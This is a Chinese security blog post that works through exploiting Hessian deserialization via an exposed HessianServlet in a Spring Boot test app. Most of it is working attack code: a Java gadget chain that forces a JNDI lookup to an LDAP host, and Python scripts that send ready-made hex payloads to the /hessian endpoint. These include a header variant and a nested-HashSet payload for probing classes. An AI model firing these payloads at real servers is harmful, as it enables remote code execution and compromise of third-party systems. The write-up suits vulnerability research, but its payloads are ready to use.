前言
平常见得多的一般是 HessianInput.readObject
作为sink,最近碰到了一个HessianServlet,代码大概是这样:
HessianServlet hessianServlet = new HessianServlet();
hessianServlet.setHomeAPI(IUserService.class);
hessianServlet.setHome(new UserServiceImpl());
然后在一个servlet里:hessianServlet.service(request, response);
在这种情况下,和常规的hessian反序列化有些许区别
环境搭建
springboot 2.7.6, hessian 4.0.60, java8u66
springboot环境用springInitializer插件生成
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.60</version>
</dependency>
IUserService.java
package org.example;
public interface IUserService {
String getUserById(Object userId);
}
UserServiceImpl.java
package org.example;
public class UserServiceImpl implements IUserService {
@Override
public String getUserById(Object userId) {
return "User: " + userId;
}
}
HessianConfig.java
package org.example;
import com.caucho.hessian.server.HessianServlet;
import org.springframework.boot.web.servlet.ServletRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@Configuration
public class HessianConfig {
@Bean
public ServletRegistrationBean<HessianServlet> hessianServlet() {
HessianServlet hessianServlet = new HessianServlet();
hessianServlet.setHomeAPI(IUserService.class);
hessianServlet.setHome(new UserServiceImpl());
ServletRegistrationBean<HessianServlet> bean = new ServletRegistrationBean<>(hessianServlet, "/hessian");
bean.setLoadOnStartup(1);
return bean;
}
}
使用Demo
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
HessianProxyFactory factory = new HessianProxyFactory();
factory.setOverloadEnabled(true);
factory.setSerializerFactory(serializerFactory);
IUserService userService = (IUserService) factory.create(IUserService.class, "http://localhost:8080/hessian");
userService.getUserById("abc");
漏洞分析
HessianServlet#service
HessianServlet#invoke
正常走会来到第二个invoke
HessianSkeleton#invoke
这里做了协议区分。然后到下面那个invoke
如图,此处有readObject,也是这篇文章的分析:
https://xz.aliyun.com/t/7028
但是原作者github没了,我也找不到他的脚本了,所以只能手搓下。
因为按demo来没法直接writeHeader,我第一眼相中的是下面的那个,对远程调用方法的参数进行readObject
利用链参考https://xz.aliyun.com/t/13599:
public static void main(String[] args) throws Exception {
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
HessianProxyFactory factory = new HessianProxyFactory();
factory.setOverloadEnabled(true);
factory.setSerializerFactory(serializerFactory);
IUserService userService = (IUserService) factory.create(IUserService.class, "http://localhost:8080/hessian");
String url = "ldap://127.0.0.1:1389/rtj7ss";
// 创建SimpleJndiBeanFactory
// String SimpleJndiBeanFactory = "org.springframework.jndi.support.SimpleJndiBeanFactory";
// Object simpleJndiBeanFactory = Class.forName(SimpleJndiBeanFactory).getDeclaredConstructor(new Class[]{}).newInstance();
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
// 可添加
// HashSet<String> set = new HashSet<>();
// set.add(url);
// setFiled(simpleJndiBeanFactory, "shareableResources", set);
// setFiled(simpleJndiBeanFactory.getJndiTemplate(), "logger", new NoOpLog());
// 创建BeanFactoryAspectInstanceFactory
// 触发SimpleJndiBeanFactory的getType方法
AspectInstanceFactory beanFactoryAspectInstanceFactory = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
setFiled(beanFactoryAspectInstanceFactory, "beanFactory", simpleJndiBeanFactory);
setFiled(beanFactoryAspectInstanceFactory, "name", url);
// 创建AspectJAroundAdvice
// 触发BeanFactoryAspectInstanceFactory的getOrder方法
AbstractAspectJAdvice aspectJAroundAdvice = createWithoutConstructor(AspectJAroundAdvice.class);
setFiled(aspectJAroundAdvice, "aspectInstanceFactory", beanFactoryAspectInstanceFactory);
// 创建AspectJPointcutAdvisor
// 触发AspectJAroundAdvice的getOrder方法
AspectJPointcutAdvisor aspectJPointcutAdvisor = createWithoutConstructor(AspectJPointcutAdvisor.class);
setFiled(aspectJPointcutAdvisor, "advice", aspectJAroundAdvice);
// 创建PartiallyComparableAdvisorHolder
// 触发AspectJPointcutAdvisor的getOrder方法
String PartiallyComparableAdvisorHolder = "org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder";
Class<?> aClass = Class.forName(PartiallyComparableAdvisorHolder);
Object partially = createWithoutConstructor(aClass);
setFiled(partially, "advisor", aspectJPointcutAdvisor);
// 可以不使用HotSwappableTargetSource
// 创建HotSwappableTargetSource
// 触发PartiallyComparableAdvisorHolder的toString方法
HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(partially);
HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource(new XString("aaa"));
// 创建HashMap
HashMap hashMap = new HashMap();
hashMap.put(targetSource1, "111");
hashMap.put(targetSource2, "222");
String id = userService.getUserById(hashMap);
System.out.println(id);
}
然后wireshark抓包
这里我注意到调用的这个方法,后面跟了个Object,难道对参数有限制吗?
在getMethod的时候,可以看到就加不加都可以,可以直接去掉。
所以可得python脚本:
import socket
def send_serialized_data(host, port, serialized_data):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
http_request = (
"POST /hessian HTTP/1.1\r\n"
"Content-Type: x-application/hessian\r\n"
"Accept-Encoding: deflate\r\n"
"User-Agent: Java/1.8.0_66\r\n"
f"Host: {host}:{port}\r\n"
"Accept: text/html, image/gif, image/jpeg, */*; q=.2, */*; q=.2\r\n"
"Connection: keep-alive\r\n"
f"Content-Length: {len(serialized_data)}\r\n"
"\r\n"
)
full_request = http_request.encode() + serialized_data
s.sendall(full_request)
response = s.recv(4096)
print(response.decode())
method_name = 'yourMethodName'
ldap_address = 'ldap://f1m4h0.dnslog.cn/exploit'
ldap_length = len(ldap_address)
method_name_hex = method_name.encode().hex()
ldap_address_hex = ldap_address.encode().hex()
ldap_length_hex = f'{ldap_length:04x}'[:4]
serialized_data = (
'6302006d00' + '{:02x}'.format(len(method_name)) +
method_name_hex + '4d7400004d7400376f72672e737072696e676672616d65776f726b2e616f702e7461726765742e486f74537761707061626c65546172676574536f757263655300067461726765744d74006e6f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e6175746f70726f78792e4173706563744a417761726541647669736f724175746f50726f787943726561746f72245061727469616c6c79436f6d70617261626c6541647669736f72486f6c64657253000761647669736f724d7400366f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e4173706563744a506f696e7463757441647669736f725300056f726465724e5300066164766963654d7400336f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e4173706563744a41726f756e6441647669636553000e6465636c6172696e67436c6173734e53000a6d6574686f644e616d654e53000a6173706563744e616d654e5300106465636c61726174696f6e4f72646572490000000053000c7468726f77696e674e616d654e53000d72657475726e696e674e616d654e530017646973636f766572656452657475726e696e67547970654e530016646973636f76657265645468726f77696e67547970654e5300166a6f696e506f696e74417267756d656e74496e64657849000000005300206a6f696e506f696e7453746174696350617274417267756d656e74496e6465784900000000530015617267756d656e7473496e74726f737065637465644653001e646973636f766572656452657475726e696e6747656e65726963547970654e53000e706172616d6574657254797065734e530008706f696e746375744e530015617370656374496e7374616e6365466163746f72794d74004b6f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e616e6e6f746174696f6e2e4265616e466163746f7279417370656374496e7374616e6365466163746f72795300046e616d6553' + ldap_length_hex + ldap_address_hex +
'53000b6265616e466163746f72794d7400366f72672e737072696e676672616d65776f726b2e6a6e64692e737570706f72742e53696d706c654a6e64694265616e466163746f727953000b7265736f7572636552656654530012736861726561626c655265736f7572636573567400116a6176612e7574696c2e486173685365746c000000007a53001073696e676c65746f6e4f626a656374734d7400007a53000d7265736f7572636554797065734d7400007a5300066c6f676765724d74003b6f72672e6170616368652e636f6d6d6f6e732e6c6f6767696e672e4c6f674164617074657224536c66346a4c6f636174696f6e41776172654c6f675300046e616d655300366f72672e737072696e676672616d65776f726b2e6a6e64692e737570706f72742e53696d706c654a6e64694265616e466163746f72797a53000c6a6e646954656d706c6174654d7400256f72672e737072696e676672616d65776f726b2e6a6e64692e4a6e646954656d706c6174655300066c6f676765724d74003b6f72672e6170616368652e636f6d6d6f6e732e6c6f6767696e672e4c6f674164617074657224536c66346a4c6f636174696f6e41776172654c6f675300046e616d655300256f72672e737072696e676672616d65776f726b2e6a6e64692e4a6e646954656d706c6174657a53000b656e7669726f6e6d656e744e7a7a53000e6173706563744d657461646174614e7a53000d617267756d656e744e616d65734e530010617267756d656e7442696e64696e67734e7a530008706f696e746375744e7a53000a636f6d70617261746f724e7a7a5300033131314d7400376f72672e737072696e676672616d65776f726b2e616f702e7461726765742e486f74537761707061626c65546172676574536f757263655300067461726765744d7400206f72672e6170616368652e78706174682e6f626a656374732e58537472696e675300056d5f6f626a5300036161615300086d5f706172656e744e7a7a5300033232327a7a'
)
serialized_data = bytes.fromhex(serialized_data)
host = 'localhost'
port = 8080
send_serialized_data(host, port, serialized_data)
这里的getUserById参数啥类型都可以,不一定是Object。我方便本地运行抓包用的Object。
然后完事后回过头来看了下第一个,其实也没麻烦到哪去,就是多了个readHeader.
Hessian2Input不支持header的write和read,但是默认用的HessianInput,直接在之前的脚本基础上改就可以了。
这种脏活累活直接扔给chatgpt
import io
def write_header(name, output_stream):
# 计算名称的长度
len_name = len(name)
output_stream.write(bytes([72]))
# 将长度写入为两个字节的大端表示
output_stream.write((len_name >> 8).to_bytes(1, byteorder='big'))
output_stream.write((len_name & 0xFF).to_bytes(1, byteorder='big'))
# 写入字符串本身
output_stream.write(name.encode())
# 创建一个字节流来模拟输出
output_stream = io.BytesIO()
# 调用函数写入自定义的头信息
write_header("ExampleHeader", output_stream)
# 打印生成的字节流内容,查看二进制形式
print(output_stream.getvalue().hex()) # 输出结果
最后只需要改一下serialized_data部分即可:
serialized_data = (
'630200'+'48000d4578616d706c65486561646572'+ '4d7400004d7400376f72672e737072696e676672616d65776f726b2e616f702e7461726765742e486f74537761707061626c65546172676574536f757263655300067461726765744d74006e6f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e6175746f70726f78792e4173706563744a417761726541647669736f724175746f50726f787943726561746f72245061727469616c6c79436f6d70617261626c6541647669736f72486f6c64657253000761647669736f724d7400366f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e4173706563744a506f696e7463757441647669736f725300056f726465724e5300066164766963654d7400336f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e4173706563744a41726f756e6441647669636553000e6465636c6172696e67436c6173734e53000a6d6574686f644e616d654e53000a6173706563744e616d654e5300106465636c61726174696f6e4f72646572490000000053000c7468726f77696e674e616d654e53000d72657475726e696e674e616d654e530017646973636f766572656452657475726e696e67547970654e530016646973636f76657265645468726f77696e67547970654e5300166a6f696e506f696e74417267756d656e74496e64657849000000005300206a6f696e506f696e7453746174696350617274417267756d656e74496e6465784900000000530015617267756d656e7473496e74726f737065637465644653001e646973636f766572656452657475726e696e6747656e65726963547970654e53000e706172616d6574657254797065734e530008706f696e746375744e530015617370656374496e7374616e6365466163746f72794d74004b6f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e616e6e6f746174696f6e2e4265616e466163746f7279417370656374496e7374616e6365466163746f72795300046e616d6553' + ldap_length_hex + ldap_address_hex +
'53000b6265616e466163746f72794d7400366f72672e737072696e676672616d65776f726b2e6a6e64692e737570706f72742e53696d706c654a6e64694265616e466163746f727953000b7265736f7572636552656654530012736861726561626c655265736f7572636573567400116a6176612e7574696c2e486173685365746c000000007a53001073696e676c65746f6e4f626a656374734d7400007a53000d7265736f7572636554797065734d7400007a5300066c6f676765724d74003b6f72672e6170616368652e636f6d6d6f6e732e6c6f6767696e672e4c6f674164617074657224536c66346a4c6f636174696f6e41776172654c6f675300046e616d655300366f72672e737072696e676672616d65776f726b2e6a6e64692e737570706f72742e53696d706c654a6e64694265616e466163746f72797a53000c6a6e646954656d706c6174654d7400256f72672e737072696e676672616d65776f726b2e6a6e64692e4a6e646954656d706c6174655300066c6f676765724d74003b6f72672e6170616368652e636f6d6d6f6e732e6c6f6767696e672e4c6f674164617074657224536c66346a4c6f636174696f6e41776172654c6f675300046e616d655300256f72672e737072696e676672616d65776f726b2e6a6e64692e4a6e646954656d706c6174657a53000b656e7669726f6e6d656e744e7a7a53000e6173706563744d657461646174614e7a53000d617267756d656e744e616d65734e530010617267756d656e7442696e64696e67734e7a530008706f696e746375744e7a53000a636f6d70617261746f724e7a7a5300033131314d7400376f72672e737072696e676672616d65776f726b2e616f702e7461726765742e486f74537761707061626c65546172676574536f757263655300067461726765744d7400206f72672e6170616368652e78706174682e6f626a656374732e58537472696e675300056d5f6f626a5300036161615300086d5f706172656e744e7a7a5300033232327a7a'
)
验证一下:
有反应,可以打。
其他
-
hessian-only-jdk有个链子,sink是method.invoke,应该是最好的链子了, 但是打不了,原因:
https://flowerwind.github.io/2023/04/17/%E8%AE%B0%E6%9F%90%E6%AC%A1%E5%AE%9E%E6%88%98hessian%E4%B8%8D%E5%87%BA%E7%BD%91%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8-md/ -
由于hessian是从hashMap.put作为source,如果在没有回显的情况下,没法用URLDNS探测依赖。
不过可以用其他方法:
https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/#0x05-%E9%80%9A%E8%BF%87%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%82%B8%E5%BC%B9%E6%8E%A2%E6%B5%8Bclass
import socket
def send_serialized_data(host, port, serialized_data):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
http_request = (
"POST /hessian HTTP/1.1\r\n"
"Content-Type: x-application/hessian\r\n"
"Accept-Encoding: deflate\r\n"
"User-Agent: Java/1.8.0_66\r\n"
f"Host: {host}:{port}\r\n"
"Accept: text/html, image/gif, image/jpeg, */*; q=.2, */*; q=.2\r\n"
"Connection: keep-alive\r\n"
f"Content-Length: {len(serialized_data)}\r\n"
"\r\n"
)
full_request = http_request.encode() + serialized_data
s.sendall(full_request)
response = s.recv(4096)
print(response.decode())
method_name = 'getUserById'
ldap_address = 'ldap://f1m4h0.dnslog.cn/exploit'
ldap_length = len(ldap_address)
method_name_hex = method_name.encode().hex()
ldap_address_hex = ldap_address.encode().hex()
ldap_length_hex = f'{ldap_length:04x}'[:4]
serialized_data = ('6302006d00' + '{:02x}'.format(len(method_name)) +
method_name_hex +'567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c000000007a567400116a6176612e7574696c2e486173685365746c000000014d74000f6a6176612e6c616e672e436c6173735300046e616d6553006e6f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e6175746f70726f78792e4173706563744a417761726541647669736f724175746f50726f787943726561746f72245061727469616c6c79436f6d70617261626c6541647669736f72486f6c6465727a7a7a567400116a6176612e7574696c2e486173685365746c000000035200000014520000001652000000157a7a567400116a6176612e7574696c2e486173685365746c000000035200000013520000001652000000177a7a567400116a6176612e7574696c2e486173685365746c000000035200000012520000001652000000187a7a567400116a6176612e7574696c2e486173685365746c000000035200000011520000001652000000197a7a567400116a6176612e7574696c2e486173685365746c0000000352000000105200000016520000001a7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000f5200000016520000001b7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000e5200000016520000001c7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000d5200000016520000001d7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000c5200000016520000001e7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000b5200000016520000001f7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000a520000001652000000207a7a567400116a6176612e7574696c2e486173685365746c000000035200000009520000001652000000217a7a567400116a6176612e7574696c2e486173685365746c000000035200000008520000001652000000227a7a567400116a6176612e7574696c2e486173685365746c000000035200000007520000001652000000237a7a567400116a6176612e7574696c2e486173685365746c000000035200000006520000001652000000247a7a567400116a6176612e7574696c2e486173685365746c000000035200000005520000001652000000257a7a567400116a6176612e7574696c2e486173685365746c000000035200000004520000001652000000267a7a567400116a6176612e7574696c2e486173685365746c000000035200000003520000001652000000277a7a567400116a6176612e7574696c2e486173685365746c000000035200000002520000001652000000287a7a7a')
serialized_data = bytes.fromhex(serialized_data)
host = 'localhost'
port = 8080
send_serialized_data(host, port, serialized_data)
我电脑性能不行,这里以套了20层作为示例。
总结:
原理不难,主要体验了一把手搓协议,对协议洞的理解更进了一步